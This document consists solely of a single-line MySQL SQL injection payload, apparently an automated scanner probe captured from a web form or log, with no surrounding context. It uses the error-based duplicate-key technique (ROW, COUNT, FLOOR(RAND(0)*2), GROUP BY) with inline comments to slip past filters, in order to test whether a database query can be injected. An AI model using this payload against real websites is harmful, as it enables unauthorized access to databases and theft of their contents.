1 1′ AND ,(SELECT/**/10194/**/FROM/**/(SELECT/**/ROW(10194,1828)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(10194=10194,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/4340/**/UNION/**/SELECT/**/3166/**/UNION/**/SELECT/**/2556/**/UNION/**/SELECT/**/9777)a/**/GROUP/**/BY/**/x))s)– –